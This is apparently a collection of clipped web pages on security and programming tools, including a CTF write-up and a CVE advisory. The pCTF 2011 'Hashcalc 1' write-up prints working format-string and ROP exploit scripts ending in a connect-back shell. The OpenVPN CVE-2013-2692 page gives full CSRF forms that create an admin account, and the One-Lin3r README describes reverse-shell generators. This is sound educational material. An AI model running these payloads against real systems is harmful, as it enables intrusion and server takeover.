structures from the official Intel `/dev/isgx` driver. We therefore include a
git submodule that points to an unmodified v2.1 linux-sgx-driver.

**Note \(/dev/mem\).** We rely on Linux's virtual `/dev/mem` device to
construct user-level virtual memory mappings for APIC physical memory-mapped
I/O registers and page table entries of interest. Recent Linux distributions
typically enable the `CONFIG_STRICT_DEVMEM` option which prevents such use,
however. Our `/dev/sgx-step` driver therefore includes an approach to bypass
`devmem_is_allowed` checks, without having to recompile the kernel.

### 3\. Build and run test applications

User-space applications can link to the `libsgxstep` library to make use of
SGX-Step's single-stepping and page table manipulation features. Have a look
at the example applications in the "app" directory.

For example, to build and run the `strlen` attack from the paper for a
benchmark enclave that processes the secret string 100 repeated times,
execute:

[code]

    $ cd app/bench
    $ NUM=100 STRLEN=1 make parse   # alternatively vary NUM and use BENCH=1 or ZIGZAG=1
    $ # (above command defaults to the Dell Inspiron 13 7359 evaluation laptop machine;
    $ # use DESKTOP=1 to build for a Dell Optiplex 7040 machine)
    $ # use SGX_SDK=/home/jo/sgxsdk/ for a local SDK installation
    $ # use M32=1 To produce a 32-bit executable
[/code]

The above command builds `libsgxstep`, the benchmark victim enclave, and the
untrusted attacker host process, where the attack scenario and instance size
are configured via the corresponding environment variables. The same command
also runs the resulting binary non-interactively \(to ensure deterministic
timer intervals\), and finally calls an attack-specific post-processing Python
script to parse the resulting enclave instruction pointer benchmark results.

**Note \(performance\).** Single-stepping enclaved execution incurs a
substantial slowdown. We measured execution times of up to 15 minutes for the
experiments described in the paper. SGX-Step's page table manipulation
features allow to initiate single-stepping for selected functions only, for
instance by revoking access rights on specific code or data pages of interest.

**Note \(timer interval\).** The exact timer interval value depends on CPU
frequency, and hence remains inherently platform-specific. Configure a
suitable value in `/app/bench/main.c`. We established precise timer intervals
for our evaluation platforms \(see table above\) by tweaking and observing the
NOP microbenchmark enclave instruction pointer trace results.

## Using SGX-Step in your own projects

The easiest way to get started using the SGX-Step framwork in your own
projects, is through git submodules:

[code]

    $ cd my/git/project
    $ git submodule add git@github.com:jovanbulck/sgx-step.git
    $ cd sgx-step # Now build `/dev/sgx-step` and `libsgxstep` as described above
[/code]

Have a look at the Makefiles in the `app` directory to see how a client
application can link to `libsgxstep` plus any local SGX SDK/PSW packages.

  

# programa-stic/barf-project

**Created:**| _4/6/2015 9:21:19 PM_  
---|---  
**Updated:**| _4/6/2015 9:21:19 PM_  
**Author:**| __  
**Tags:**| _reversing binary_  
  
  

# BARF Project

The analysis of binary code is a crucial activity in many areas of the
computer sciences and software engineering disciplines ranging from software
security and program analysis to reverse engineering. Manual binary analysis
is a difficult and time-consuming task and there are software tools that seek
to automate or assist human analysts. However, most of these tools have
several technical and commercial restrictions that limit access and use by a
large portion of the academic and practitioner communities. _BARF_ is an open
source binary analysis framework that aims to support a wide range of binary
code analysis tasks that are common in the information security discipline. It
is a scriptable platform that supports instruction lifting from multiple
architectures, binary translation to an intermediate representation, an
extensible framework for code analysis plugins and interoperation with
external tools such as debuggers, SMT solvers and instrumentation tools. The
framework is designed primarily for human-assisted analysis but it can be
fully automated.

The _BARF project_ includes _BARF_ and related tools and packages. So far the
is composed of the following items:

  * **BARF** : A multiplatform open source Binary Analysis and Reverse engineering Framework
  * **PyAsmJIT** : A JIT for the Intel x86\_64 and ARM architecture.
  * Tools: 
    * **BARFgadgets** : A tool built upon BARF that lets you _search_ , _classifiy_ and _verify_ ROP gadgets inside a binary program.

For more information, see:

  * _BARF: A multiplatform open source Binary Analysis and Reverse engineering Framework_ \(Whitepaper\) \[en\]
  * _BARFing Gadgets_ \(ekoparty2014 presentation\) \[es\]

Current status:

**Latest Release** | v0.2  
---|---  
**URL** | https://github.com/programa-stic/barf-project/releases/tag/v0.2  
**Change Log** | https://github.com/programa-stic/barf-project/blob/v0.2/CHANGELOG.md  
> All packages were tested on Ubuntu 12.04 and 14.04 \(x86\_64\).
###  BARF

_BARF_ is a Python package for binary analysis and reverse engineering. It
can:

  * Load binary programs in different formats \(` ELF `, ` PE `, etc\),
  * It supports the Intel x86 architecture for 32 and 64 bits,
  * It supports the ARM architecture for 32 bits,
  * It operates on an intermediate language \(REIL\) thus all analysis algorithm are architecture-agnostic,
  * It has integration with Z3 and CVC4 SMT solvers which means that you can express fragments of code as formulae and check restrictions on them.

For more information, see README.

###  BARFgadgets

` BARFgadgets ` is a Python script built upon BARF that lets you _search_ ,
_classifiy_ and _verify_ ROP gadgets inside a binary program. The _search_
stage finds all ` ret `-, ` jmp `\- and ` call `-ended gadgets inside the
binary. The _classification_ stage classifies previously found gadgets
according to the following types:

  * No-Operation,
  * Move Register,
  * Load Constant,
  * Arithmetic/Logical Operation,
  * Load Memory,
  * Store Memory,
  * Arithmetic/Logical Load,
  * Arithmetic/Logical Store and
  * Undefined.

This is done through instruction emulation. Finally, the _verification_ stage
consists of using a SMT solver to verify the semantic assigned to each gadget
in the second stage.

For more information, see README.

###  PyAsmJIT

_PyAsmJIT_ is a Python package for x86\_64/ARM assembly code generation and
execution.

This package was developed in order to test BARF instruction translation from
x86\_64/ARM to REIL. The main idea is to be able to run fragments of code
natively. Then, the same fragment is translated to REIL and executed in a REIL
VM. Finally, both final contexts \(the one obtained through native execution
and the one from emulation\) are compare for differences.

For more information, see README.

##  Change Log

Latest changes include:

###  Added

  * BARF: BARFgadgets now find gadgets in ARM binaries.
  * BARF: Add support for the ARM architecture \(32 bits\).
  * BARF: Add support for more x86 instructions.

###  Changed

  * BARF: Overall improvements to x86 arch package \(major changes that ended up in performance increase of translation up to 3x\!\).
  * BARF: Overall improvements to reil package \(minor changes\).
  * BARF: New reil translation scheme for x86 instructions.

###  Fixed

  * BARF: Fixes in x86 instruction translations \(mostly flags update issues.\)

For more information, see README.

##  License

The BSD 2-Clause License. For more information, see LICENSE.

  

# The Protégé Ontology Editor and Knowledge Acquisition System

**Created:**| _7/15/2011 3:17:46 PM_  
---|---  
**Updated:**| _7/17/2011 1:45:55 PM_  
**Author:**| __  
**Tags:**| _research awesome onthologies_  
  

<img src='img/Temp2_8255.gif' width='160' height='57' alt='protege logo' />

HOME | OVERVIEW | DOCUMENTATION | DOWNLOADS | SUPPORT | COMMUNITY | WIKI | ABOUT US
  
  
---  
Protégé is a free, open source ontology editor and knowledge-base framework.  
  
The Protégé platform supports two main ways of modeling ontologies via the
Protégé-Frames and Protégé-OWL editors. Protégé ontologies can be exported
into a variety of formats including RDF\(S\), OWL, and XML Schema. \(more\)  
  
Protégé is based on Java, is extensible, and provides a plug-and-play
environment that makes it a flexible base for rapid prototyping and
application development. \(more\)

Protégé is supported by a strong community of developers and academic,
government and corporate users, who are using Protégé for knowledge solutions
in areas as diverse as biomedicine, intelligence gathering, and corporate
modeling.  
  

community  
---  
Registered Users | 176,656  
protege-users list members | 17,307  
protege-discussion list members | 2,646  
protege-owl list members | 2,295  
  

Protégé is available from this site as a free download along with plug-ins and
ontologies.  
  

downloads  
---  
Protégé 4.1 rc5 | July 5, 2011  
Protégé 4.0.2 | December 3, 2009  
Protégé 3.4.6 | April 25, 2011  
WebProtégé 0.5 beta | May 28, 2011  
  
  
---  
  
<img src='img/Temp2_8257.gif' width='125' height='125' alt='protege-owl' />  
go to protégé-owl  
  
  
go to protégé-frames  
  
  
<img src='img/Temp2_8256.gif' width='125' height='125' alt='WebProtege' />  
go to WebProtégé  
<img src='img/Temp2_8258.gif' width='125' height='125' alt='protege-frames' />  
  

Protégé is a national resource for biomedical ontologies and knowledge bases
supported by the National Library of Medicine  
Protégé is a core component of The National Center for Biomedical Ontology  
Copyright © 2011 Stanford Center for Biomedical Informatics Research

# Episode78 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:33:28 PM_  
---|---  
**Updated:**| _8/5/2009 12:33:38 PM_  
**Author:**| __  
**Tags:**| _wifi pauldotcom_  
  

# Tech Segment: Kismet Drone on OpenWrt Kamikaze Using Madwifi

Last week we detailed how to setup kismet drone running on the older version
of OpenWrt called "Whiterussian". This week I think I have it stable enough to
detail how this setup will work on Kamikaze using Madwifi with an Atheros
chipset. Why? Well, this solves three critical problems we have when running
this using a the Broadcom chipset found in the WRT54G:

  * We only see traffic in the 2.4GHz band using 802.11b/g
  * We can not obtain signal strength information
  * Channel hopping must be done with an add-on shell script and not done by the chipset

We solved these problems by using the following setup:

  * Asus WL-500G Premium
  * EnGenius 300mw Atheros mini-pci card
  * OpenWrt Kamikaze, Latest build as of 7/27/07
  * Kismet-devel, build 2163 compiled with the above

Once you've gotten the above installed you will need to install the compiled
version of kismet that I did yesterday :\)

[code]

    ipkg install http://pauldotcom.com/kismet-drone_2163-1_mipsel.ipk
    
[/code]

Now you will need to put your card into monitor mode:

[code]

    wlanconfig wifi0 create wlandev wifi0 wlanmode monitor
    
[/code]

Now, I do hope to integrate this into OpenWrt, as in working on getting the
development version of kismet into the official package tree and using the
/etc/confg/wireless configuration file to setup monitor mode. Once you've done
that, you will need to edit /etc/kismet/kismet\_drone.conf:

source=madwifi\_g,wifi0,wireless

Startup Kismet Drone and you're off and running\! I compiled the development
version of kismet client for OS X and it works like a champ, for the most
part. I still get an error stating "Arguement list too long", which relates to
some problems that Kismet has with madwifi-ng. I did see some fixes for
madwifi-ng go into the latest trunk for kamikaze, which I have not had a
chance to test out. So, I am hoping that this setup will become more stable. I
also need to test 802.11 packet capture as well. I found a command, iwpriv
ath0 mode 1, which claims to put the adapater in 802.11a \*only\* mode. But
still have some work to do to make certain I am getting all 802.11a/b/g.

  

# adamkramer/rapid\_env

**Created:**| _5/8/2017 10:03:41 AM_  
---|---  
**Updated:**| _5/8/2017 10:03:41 AM_  
**Author:**| __  
**Tags:**| _sandboxing provisioning_  
  

  

# rapid\_env

Rapid deployment of Windows environment \(files, registry keys, mutex etc\) to
facilitate malware analysis

## rapid\_env - Created by Adam Kramer \[2015\]

This program rapidly sets up a malware analysis environment based on
configuration file specified by the user. Configuration file can contain the
following lines:

To create a file: file:path=content \(content is optional\)

To create a registry key: registry:key=value|data \(value|data is optional\)

To launch a process with specific name: process:process name

To create a mutex: mutex:mutex name

Lines beginning with \# are ignored as comments

Example config file:

# A file, which has content in

file:C:\Users\User\Documents\test.txt=This is the content of the file

# A file, with no content

file:C:\Users\User\Documents\test.txt

# Notice the registry entry needs to start with HKEY\_CURRENT\_USER, this can
be any other hive but full name is required

registry:HKEY\_CURRENT\_USER\SOFTWARE\Test=password|john

# Example mutex

mutex:thisisabadmutex

# This won't run Windows calc.exe, but rather a skeleton process with the name
requested

process:calc.exe

  

# DE EINDBAZEN: pCTF 2011 - Mission \#22: "Hashcalc 1" write-up

**Created:**| _4/26/2011 9:04:30 PM_  
---|---  
**Updated:**| _4/26/2011 9:04:30 PM_  
**Author:**| __  
**Tags:**| _ctf_  
  

### pCTF 2011 - Mission \#22: "Hashcalc 1" write-up

The control flow relevant to the bug is as follows:  
  

  * request\_handler

  * recv into a 0x400 bytes large buffer \(max 0x3ff bytes + NUL terminator\)
  * call fprintf on this string \(output goes into /home/hashcalc1/LOG, so we can't see it\)
  * hash the string
  * reply\_func

  * sprintf string and hash using format string "%u \(%s\)" into buffer of size 0x100
  * send reply string

  
So what we have is a blind format string bug in request\_handler, and a buffer
overflow in reply\_func. The buffer overflow is normally detected because of a
damaged stack cookie however. Since the stack and libs are randomized we
really want to have the freedom to explore the address space using ROP instead
of just using a printf exploit, so let's see if we can find a way to make the
overflow work.  
  
This code is called when a stack cookie is found to be damaged:  
  

[code]

    8049190:    55                       push   ebp
     8049191:    89 e5                    mov    ebp,esp
     8049193:    53                       push   ebx
     8049194:    e8 74 ff ff ff           call   804910d <getgid@plt+0x719>
     8049199:    81 c3 33 12 00 00        add    ebx,0x1233
     804919f:    e8 d0 f7 ff ff           call   8048974 <__stack_chk_fail@plt>
     80491a4:    90                       nop
    
[/code]

  
So let's disable this by using the printf exploit to replace the GOT entry for
\_\_stack\_chk\_fail with a pointer to something which will simply return
control to the caller:  
  

[code]

    8049186:    5e                       pop    esi
     8049187:    5f                       pop    edi
     8049188:    5d                       pop    ebp
     8049189:    c3                       ret
    
[/code]

Find the GOT entry:  
  

[code]

    08048974 <__stack_chk_fail@plt>:
     8048974:    ff 25 3c a4 04 08        jmp    DWORD PTR ds:0x804a43c
    
[/code]

  
So we want to write 0x8049186 to 0x804a43c.  
  
To build the printf exploit we need to know an argument index that falls into
a user-controlled buffer.  
  
Function prologue:  

[code]

    8048d1d:    55                       push   ebp
     8048d1e:    89 e5                    mov    ebp,esp
     8048d20:    53                       push   ebx
     8048d21:    81 ec 1c 04 00 00        sub    esp,0x41c
    
[/code]

So esp+4+0x41c = ebp. Our buffer is at ebp-0x408 = \(esp+4+0x41c\)-0x408 =
esp+0x18, and argument index 1 is at esp+8. Argument index = 1 + \(0x18-8\)/4
= 5.  
  
We plug this into a script that generates printf exploit strings \(since I
can't be bothered to figure it out manually each time\). This gives the string
`'\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n'`. Trying
this out against a local copy of the service confirms that this performs the
desired overwrite.  
  
\(To get a local copy running, you either have to patch the binary or create a
user with the expected name.\)  
  
In short, as long as we start our string with this format string the stack
cookie checking should be bypassed.  
  
We want to use this to build ROP sequences. Since we want fully clean ROP
we'll send a NUL byte after the initial return address, so the code that
strips newlines doesn't mangle it. This also means we need to use our initial
eip control in reply\_func to jump up to the buffer in the parent function.  
  
Exploit string so far:  

[code]

    '\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n', padding, fake stack cookie, fake saved ebx, fake saved ebp, ret addr, NUL byte.
[/code]

  
Note that the padding needs to make sure that the amount of output generated
by printf\("%u \(%s", hash, fmt\_str\_plus\_padding\) is exactly 0x100, which
depends on the value of the hash. Since \(1-\(999/0xfff\)\) \* 100 = 76% of
hash values will have length 4 it's easiest just to assume this and fiddle
with the string until this assumption holds.  
  
At the point where we take control using our new return address esp has been
restored to the value it had in the stack frame of request\_handler \(ebp has
been thrashed though\). Recall that our buffer in the parent function is at
esp+0x18. We already used up 0x100-6+16+1 = 0x10b bytes, so our ROP will start
at esp+0x18+0x10b at the lowest, but let's round it up to esp+0x124.  
  
The most convenient ROP gadget for this operation is this code from the
epilogue of reply\_func:  

[code]

     8048bd5:    81 c4 1c 01 00 00        add    esp,0x11c
     8048bdb:    5b                       pop    ebx
     8048bdc:    5d                       pop    ebp
     8048bdd:    c3                       ret    41c
    
[/code]

  
If we use `0x8048bd5` we end up at `esp-0xc-0x11c = esp-0x128`.  
  
The perl script used to generate the string:  

[code]

    my $s = ""
    # patch stack cookie failure function
    $s .= "\x3c\xa4\x04\x08".
          "\x3e\xa4\x04\x08".
          "\x58\xa4\x04\x08".
          "\x5a\xa4\x04\x08";
    
    $s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n%7$33507x' .
          '%7$n%7$29977x%7$2052x%8$n';
    
    # pad to buffer size
    $s .= "A"x(256-6-68-16);
    
    # stack cookie, saved ebx, saved ebp, return addr
    $s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5);
    
    # alignment
    $s .= "\0\0";
    
    # ROP:
    $s .= pack(
            "IIIIII", 0x8048994, 0xdeadbeef, int($ARGV[1]), 
            0x804a3d8, (0x804a45c+4)-0x804a3d8, 0
    );
    
    print $s;
    
[/code]

This dumps the GOT. The file descriptor number is given as an argument because
on the server it's 5 while on my local install it's 7. Also note that the
printf exploit was modified a bit to also convert exit\(\) calls to nops. This
was needed because our buffer overflow also overwrites the file descriptor
number, which makes the send\(\) which normally sends the reply with the hash
fail. Disabling the exit\(\) call allows us to recover from this.  
  
This is the reply from the server:  
  

[code]

    000000  2a 2a 20 57 65 6c 63 6f  6d 65 20 74 6f 20 74 68  |** Welcome to th|
    000010  65 20 6f 6e 6c 69 6e 65  20 68 61 73 68 20 63 61  |e online hash ca|
    000020  6c 63 75 6c 61 74 6f 72  20 2a 2a 0a 24 20 40 98  |lculator **.$ @.|
    000030  80 b7 d0 9b 83 b7 20 d2  83 b7 30 f6 79 b7 2a 88  |...... ...0.y.*.|
    000040  04 08 10 33 7d b7 e0 20  84 b7 a0 20 84 b7 d0 95  |...3}.. ... ....|
    000050  7e b7 90 bb 78 b7 20 bf  80 b7 40 88 7e b7 80 70  |~...x. ...@.~..p|
    000060  85 b7 30 28 7c b7 a0 1e  84 b7 60 24 84 b7 ea 88  |..0(|.....`$....|
    000070  04 08 90 84 7e b7 b0 10  7d b7 c0 c1 7b b7 20 1f  |....~...}...{. .|
    000080  84 b7 f0 d2 80 b7 a0 1e  83 b7 5a 89 04 08 90 c1  |..........Z.....|
    000090  7b b7 86 91 04 08 01 00  83 b7 60 22 84 b7 aa 89  |{.........`"....|
    0000a0  04 08 50 c5 80 b7 e0 23  84 b7 90 af 80 b7 e7 8a  |..P....#........|
    0000b0  04 08 02 00 80 b7                                 |......|
    
[/code]

  
Skip the first 46 bytes and we get the GOT...  

[code]

    000000  40 98 80 b7 d0 9b 83 b7  20 d2 83 b7 30 f6 79 b7  |@....... ...0.y.|
    000010  2a 88 04 08 10 33 7d b7  e0 20 84 b7 a0 20 84 b7  |*....3}.. ... ..|
    000020  d0 95 7e b7 90 bb 78 b7  20 bf 80 b7 40 88 7e b7  |..~...x. ...@.~.|
    000030  80 70 85 b7 30 28 7c b7  a0 1e 84 b7 60 24 84 b7  |.p..0(|.....`$..|
    000040  ea 88 04 08 90 84 7e b7  b0 10 7d b7 c0 c1 7b b7  |......~...}...{.|
    000050  20 1f 84 b7 f0 d2 80 b7  a0 1e 83 b7 5a 89 04 08  | ...........Z...|
    000060  90 c1 7b b7 86 91 04 08  01 00 83 b7 60 22 84 b7  |..{.........`"..|
    000070  aa 89 04 08 50 c5 80 b7  e0 23 84 b7 90 af 80 b7  |....P....#......|
    000080  e7 8a 04 08 02 00 80 b7                           |........|
    000088
    
[/code]

  
The first two entries are the addresses of setgroups and setregid. Let's see
if their relative offset is the same as in the libc on one of the other game
boxes:  
  
`0xb7809840 - 0xb7839bd0 == 0x00094840 - 0x000c4bd0`  
  
This works out, so we know the version of libc being used and can resolve
addresses.  
  
Let's go for a simple ROP: recv some data into a known location in the data
section, and then run system\(\) on it.  
  
`0x8048844, 0x8049109, int($ARGV[0]), 0x804a468, 0x200, 0, 0xb7809840 -
0x00094840 + 0x00039180, 0xdeadbeef, 0x804a468`  
  
Explanation:  
`  
0x8048844: recv@plt  
0x804a468: our buffer (start of bss section)  
0x8049109: pop pop pop ret  
0xb7809840 - 0x00094840 + 0x00039180: address of system()  
`  
  

[code]

    #!/usr/bin/perl
    my $s = "";
    # patch stack cookie failure function
    $s .= "\x3c\xa4\x04\x08".
          "\x3e\xa4\x04\x08".
          "\x58\xa4\x04\x08".
          "\x5a\xa4\x04\x08";
    
    $s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n' .
          '%7$33507x%7$n%7$29977x%7$2052x%8$n';
    
    # pad to buffer size
    $s .= "A"x(256-6-68-16);
    
    # stack cookie, saved ebx, saved ebp, return addr
    $s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5);
    
    # alignment
    $s .= "\0\0";
    
    # ROP:
    $s .= pack(
            "IIIIIIIII",
            0x8048844, 0x8049185, int($ARGV[0]), 0x804a468,
            0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180,
            0xdeadbeef, 0x804a468
    );
    
    print $s;
    
[/code]

So now if we input this to the program, then sleep for a second, and then send
it a NUL-terminated shell command it will execute this. Simply send a
connectback nc command \(bindshell doesn't seem to work, firewall
disallowed?\) gets you a shell.

Geplaatst door EINDBAZEN TEAM op 09:34

Dit e-mailen  Dit bloggen\! Delen op Twitter Delen op Facebook Delen op Google
Buzz

  *[09:34]: 2011-04-25T09:34:00-07:00

# Downloads - Linux-VServer

**Created:**| _5/12/2010 9:49:37 AM_  
---|---  
**Updated:**| _5/12/2010 9:49:45 AM_  
**Author:**| __  
**Tags:**| _Linux kernel Lab-Setup_  
  
Linux-VServer branchLinux kernel | 2.3Experimental | 2.3 + grsecurityExperimental   
---|---|---  
2.6.33.3| vs2.3.0.36.30.4|  
2.6.32.12| vs2.3.0.36.29.4| vs2.3.0.36.29.4-grsec2.1.14-20100503  
2.6.31.13| vs2.3.0.36.28.2| vs2.3.0.36.28.2-grsec2.1.14-20100419  
2.6.30.6| vs2.3.0.36.14-pre8|  
2.6.29.6| vs2.3.0.36.14|  
2.6.29.2| | vs2.3.0.36.12-grsec2.1.14-20090513  
2.6.28.10| vs2.3.0.36.11|  
2.6.27.46| vs2.3.0.36.8|  
2.6.27.15| | vs2.3.0.36.4-grsec2.1.12-20090210  
  

# Introduction to Functional Programming | edX
**Created:**| _6/11/2014 10:12:58 AM_  
---|---  
**Updated:**| _6/11/2014 10:12:58 AM_  
**Author:**| __  
**Tags:**| _programming Functional_  
  

# Introduction to Functional Programming

The aim of this course is to teach the foundations of functional programming
and how to apply them in the real world.

### About this Course

Broadly speaking, functional programming is a style of programming in which
the primary method of computation is the application of functions to
arguments. Among other features, functional languages offer a compact notation
for writing programs, powerful abstraction methods for structuring programs,
and a simple mathematical basis that supports reasoning about programs.

Functional languages represent the leading edge of programming language
design, and the primary setting in which new programming concepts are
introduced and studied. All contemporary programming languages such as
Hack/PHP, C\#, Visual Basic, F\#, C++, JavaScript, Python, Ruby, Java, Scala,
Clojure, Groovy, Racket, … support higher-order programming via the concept of
closures or lambda expressions.

This course will use Haskell as the medium for understanding the basic
principles of functional programming. While the specific language isn't all
that important, Haskell is a pure functional language so it is entirely
appropriate for learning the essential ingredients of programming using
mathematical functions. It is also a relatively small language, and hence it
should be easy for you to get up to speed with Haskell.

Once you understand the Why, What and How that underlies pure functional
programming and learned to “think like a fundamentalist”, we will apply the
concepts of functional programming to “code like a hacker” in mainstream
programming languages, using Facebook’s novel Hack language as our main
example.

This course assumes no prior knowledge of functional programming, but assumes
you have at least one year of programming experience in a regular programming
language such as Java, .NET, Javascript or PHP.

LICENSE  
The course materials of this course are Copyright Delft University of
Technology and are licensed under a Creative Commons Attribution-
NonCommercial-ShareAlike 3.0 Netherlands License.

# Google Testing Blog: Testing on the Toilet: Don't Put Logic in Tests

**Created:**| _8/1/2014 9:49:36 AM_  
---|---  
**Updated:**| _8/1/2014 9:49:36 AM_  
**Author:**| __  
**Tags:**| _software testing logic_  
  

# Testing on the Toilet: Don't Put Logic in Tests

_by Erik Kuefler_  
_This article was adapted from aGoogle Testing on the Toilet \(TotT\) episode.
You can download a printer-friendly version of this TotT episode and post it
in your office. _  
  
**Programming languages give us a lot of expressive power.** Concepts like
operators and conditionals are important tools that allow us to write programs
that handle a wide range of inputs. But **this flexibility comes at the cost
of increased complexity** , which makes our programs harder to understand.  
  
Unlike production code, **simplicity is more important than flexibility in
tests**. Most unit tests verify that a single, known input produces a single,
known output. **Tests can avoid complexity by stating their inputs and outputs
directly rather than computing them**. Otherwise it's easy for tests to
develop their own bugs.  
  
Let's take a look at a simple example. **Does this test look correct to you?**

[code]

    @Test public  shouldNavigateToPhotosPage() {
      String **baseUrl** = "http://plus.google.com/";
      Navigator nav =  Navigator(**baseUrl**);
      nav.goToPhotosPage();
      assertEquals(**baseUrl** + **" /u/0/photos"**, nav.getCurrentUrl());
    }
[/code]

  
The author is trying to avoid duplication by storing a shared prefix in a
variable. Performing a single string concatenation doesn't seem too bad, but
**what happens if we simplify the test by inlining the variable?**

[code]

    @Test public  shouldNavigateToPhotosPage() {
      Navigator nav =  Navigator("http://plus.google.com/");
      nav.goToPhotosPage();
      assertEquals("**http://plus.google.com//u/0/photos** ", nav.getCurrentUrl()); // **Oops!**
    }
[/code]

  
**After eliminating the unnecessary computation from the test, the bug is
obvious** —we're expecting two slashes in the URL\! This test will either fail
or \(even worse\) incorrectly pass if the production code has the same bug. We
never would have written this if we stated our inputs and outputs directly
instead of trying to compute them. And this is a very simple example—**when a
test adds more operators or includes loops and conditionals, it becomes
increasingly difficult to be confident that it is correct.**  
  
Another way of saying this is that, **whereas production code describes a
general strategy for computing outputs given inputs, tests are concrete
examples of input/output pairs** \(where output might include side effects
like verifying interactions with other classes\). It's usually easy to tell
whether an input/output pair is correct or not, even if the logic required to
compute it is very complex. For instance, it's hard to picture the exact DOM
that would be created by a Javascript function for a given server response. So
the ideal test for such a function would just compare against a string
containing the expected output HTML.  
  
**When tests do need their own logic, such logic should often be moved out of
the test bodies and into utilities and helper functions**. Since such helpers
can get quite complex, it's usually a good idea for any nontrivial test
utility to have its own tests.

Share

#### No comments:

####  Post a Comment

The comments you read and contribute here belong only to the person who posted
them. We reserve the right to remove off-topic comments.

# CVE-2013-2692 – Or when your OpenVPN is a bit too open | ceriksen.com
**Created:**| _5/9/2013 5:29:04 PM_  
---|---  
**Updated:**| _6/23/2013 7:33:37 AM_  
**Author:**| __  
**Tags:**| _vulnerability vpn_  
  

# CVE-2013-2692 – Or when your OpenVPN is a bit too open

May 9, 2013

**Advisories**

OpenVPN

Secunia

**Details**

When analyzing the OpenVPN Access Server , it quickly became apparent that the
administration interface lacked any basic level of CSRF protection, which was
easily demonstrated with a CSRF form like this, which will add a new user with
admin privileges, using the username “csrfaccount” and password “qweasd”:

|  <form action="https://192.168.1.133/admin/user\_permissions" method="POST"
enctype="multipart/form-data"> <input type="hidden" name="search" value=" " />
<input type="hidden" name="edit:openvpn:conn\_group" value="None" /> <input
type="hidden" name="edit:openvpn:pvt\_password\_digest" value=" " /> <input
type="hidden" name="edit:openvpn:dynstatic" value="true" /> <input
type="hidden" name="edit:openvpn:conn\_ip" value=" " /> <input type="hidden"
name="edit:openvpn:s2c\_route\_type" value="nat" /> <input type="hidden"
name="edit:openvpn:s2c\_routes" value=" " /> <input type="hidden"
name="edit:openvpn:gwyesno" value="no" /> <input type="hidden"
name="edit:openvpn:c2s\_routes" value=" " /> <input type="hidden"
name="edit:openvpn:dmzyesno" value="no" /> <input type="hidden"
name="edit:openvpn:dmz\_ip" value=" " /> <input type="hidden"
name="new\_username" value="csrfaccount" /> <input type="hidden"
name="edit:%NEW%USER%:conn\_group" value="None" /> <input type="hidden"
name="edit:%NEW%USER%:prop\_superuser" value="true" /> <input type="hidden"
name="edit:%NEW%USER%:pvt\_password\_digest" value="qweasd" /> <input
type="hidden" name="edit:%NEW%USER%:dynstatic" value="true" /> <input
type="hidden" name="edit:%NEW%USER%:conn\_ip" value=" " /> <input
type="hidden" name="edit:%NEW%USER%:s2c\_route\_type" value="nat" /> <input
type="hidden" name="edit:%NEW%USER%:s2c\_routes" value=" " /> <input
type="hidden" name="edit:%NEW%USER%:gwyesno" value="no" /> <input
type="hidden" name="edit:%NEW%USER%:c2s\_routes" value=" " /> <input
type="hidden" name="edit:%NEW%USER%:dmzyesno" value="no" /> <input
type="hidden" name="edit:%NEW%USER%:dmz\_ip" value=" " /> <input type="hidden"
name="button" value="Save Settings" /> </form>  
---|---  
For this to be effective, we need to ensure that the server is configured to
use “Local” authentication. This means OpenVPN controls the authentication,
rather than using PAM/RADIUS/LDAP. We can do this with these two simple
requests:

|  <form
action="https://192.168.1.133/admin/authentication\_general\_configuration"
method="POST" enctype="multipart/form-data"> <input type="hidden"
name="auth.module.type" value="local" /> <input type="hidden" name="button"
value="Save Settings" /> </form>  
---|---  
When we have changed the authentication method, we need to commit the change:

|  <form
action="https://192.168.1.133/admin/authentication\_general\_configuration"
method="POST" enctype="multipart/form-data"> <input type="hidden"
name="button" value="Update Running Server" /> <input type="hidden"
name="auth.module.type" value="local" /> </form>  
---|---  
If we do a CSRF attack against a target using these 3 requests\(Which can be
done with the method described in my post about multi-stage CSRF attacks \),
we can then authenticate to the OpenVPN AS admin interface using the account
details csrfaccount/qweasd. This further allows us to take over the server.

This entry was tagged CSRF , OpenVPN . Bookmark the permalink .

# D4Vinci/One-Lin3r

**Created:**| _3/7/2018 8:48:04 AM_  
---|---  
**Updated:**| _3/7/2018 8:48:04 AM_  
**Author:**| _wishi_  
**Tags:**| _pentest_  
  

  

###  README.md

# One-Lin3r <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f362d5468697325323079656172253230746f70253230313030253230746f6f6c732d7265642e737667'
width='154' height='20' alt='n0where best cybersecurity tools' /> <img
src='img/2495_68747470733a2f2f696d672e736869656c64732e696f2f62616467652f507974686f6e2d332e352d79656c6c6f772e737667'
width='76' height='20' alt='Python 3.5' /> <img
src='img/2486_68747470733a2f2f696d672e736869656c64732e696f2f62616467652f507974686f6e2d322e372d79656c6c6f772e737667'
width='76' height='20' alt='Python 2.7' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f436f72652d312e302d7265642e737667'
width='62' height='20' alt='Core' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f44617461626173652d302e342d7265642e737667'
width='88' height='20' alt='Database' />

One-Lin3r is simple and light-weight framework inspired by the web-delivery
module in Metasploit.

<img
src='img/68747470733a2f2f61736369696e656d612e6f72672f612f3135373032302e706e67.png'
width='888' height='476' alt='asciicast' />

It consists of various one-liners that aids in penetration testing operations:

  * **Reverser** : Give it IP & port and it returns a reverse shell liner ready for copy & paste.
  * **Dropper** : Give it an uploaded-backdoor URL and it returns a download-&-execute liner ready for copy & paste.
  * **Other** : Holds liners with general purpose to help in penetration testing \(ex: Mimikatz, Powerup, etc...\) on the trending OSes \(Windows, Linux, and macOS\) "More OSes can be added too".

## Features

  * Search for any one-liner in the database by its full name or partially.
  * You can add your own liners by following these steps to create a ".liner" file.Also you can send it to me directly and it will be added in the framework and credited with your name 😄.
  * Autocomplete any framework command and recommendations in case of typos \(in case you love hacking like movies 😆\).
  * Command line arguments can be used to give the framework a resource file to load and execute for automation.
  * The ability to reload the database if you added any liner without restarting the framework.
